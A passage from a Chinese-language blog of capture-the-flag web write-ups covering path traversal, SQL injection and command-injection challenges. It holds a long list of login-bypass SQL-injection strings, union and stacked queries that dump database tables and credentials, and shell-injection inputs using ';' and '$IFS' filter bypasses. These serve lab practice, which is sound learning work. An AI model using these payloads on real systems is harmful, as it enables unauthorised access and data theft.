持续更新中~~~~
目录
[CISCN2019 华北赛区 Day2 Web1]Hack World
[HCTF 2018]WarmUp
打开网页,查看一下源代码,可以找到一个source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
然后有一个hint.php
payload:
url/?file=source.php?../../../../ffffllllaaaagggg
[极客大挑战 2019]EasySQL
打开是一个登录界面,我们直接尝试万能密码
直接得到flag
总结万能密码
asp aspx万能密码
1:"or "a"="a
2:'.).or.('.a.'='.a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or.'a.'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
admin'or 1=1#
PHP万能密码
admin'/*
密码*/'
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
jsp万能密码
1'or'1'='1
admin' or 1=1/*
[极客大挑战 2019]Havefun
打开网页,就是一个小猫,然后我们F12查看一下源代码,找到了一行注释
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';}
在这里有一个迷惑,Syc{cat_cat_cat_cat}虽然很像flag,但是不是flag
然后我们可以直接get传参cat=dog
[强网杯 2019]随便注
上来就是sql注入,然后我们直接
1‘ select union 2#
然后我们知道了select被禁用了
然后我们采用堆叠注入show tables
';show tables;#
再查字段
‘;show columns from words;#
‘;show columns from 1919810931114514;#
最后发现查最后的flag这个方法行不通呐,看了别人的wp也没有学明白
最后找到了非预期解,直接得flag
1' or 1=1#
[ACTF2020 新生赛]Include
打开是一个tips,然后点击转到了?file=flag.php页面
但是并没有什么东西,然后我们想到了题目include,直接伪协议读flag.php得到了源码
解码得flag
[SUCTF 2019]EasySQL
试了好多
输入1,有回显
输入2,也有回显
但是1’,没有回显了
尝试用order by语句查询多少个字段
然后我直接看了别人的wp,受益匪浅
内置的sql语句为:
sql=“select”.post[‘query’]."||flag from Flag";
如果$post['query']的数据为*,1,sql语句就变成了
select *,1||flag from Flag
也就是
select *,1 from Flag
查到Flag表中的内容
[极客大挑战 2019]Secret File
打开网页只发现了页面为黑色,字体为红色
很容易就找到了线索,来到./Archive_room.php页面
点击这个secret按钮,首先到了action页面,但是特别快的准到end页面,没有看清里面的内容
然后我们抓包看一下
又找到了secr3t.php
然后我们直接用伪协议读flag.php,得到base64编码,然后解码
[ACTF2020 新生赛]Exec
这个题直接127.0.01来查询就行了
127.0.0.1;ls /
127.0.0.1;cat /flag
[极客大挑战 2019]LoveSQL
进来就是一个登录页面,然后我们直接尝试万能密码登录
发现并不对,但是我们找到了注入点
测试注入点
/check.php?username=1' union select 1,2,3%23&password=1
查询数据库及版本
/check.php?username=1' union select 1,database(),version()%23&password=1
爆表
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
爆字段
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
爆数据
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
[GXYCTF2019]Ping Ping Ping
一进来就是让我们输ip,很明显传参
然后我尝试了以下
?ip=127.0.0.1//可行
?ip=127.0.0.1;ls//查到了flag
?ip=127.0.0.1;cat flag//被禁掉了空格
?ip=127.0.0.1;cat$IFS$flag//flag被禁了
我们直接?ip=1|cat$IFS$1index.php,查看以下index.php
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
看到了好多被禁用的
关于flag的绕过
?ip